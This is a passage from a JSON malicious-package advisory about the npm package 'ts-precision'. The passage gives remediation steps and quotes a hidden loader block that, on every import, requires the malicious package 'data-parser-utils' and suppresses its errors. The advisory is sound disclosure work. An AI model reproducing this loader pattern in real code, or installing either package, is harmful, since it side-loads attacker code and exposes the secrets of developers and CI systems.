If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Hidden between math methods in the module body is an unrelated block: `try { const doc = require(\"data-parser-utils\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in ts-precision (npm)","id":"MAL-2026-6469","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"ts-precision","purl":"pkg:npm/ts-precision","source":"MAL-2026-6469"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6469/"}
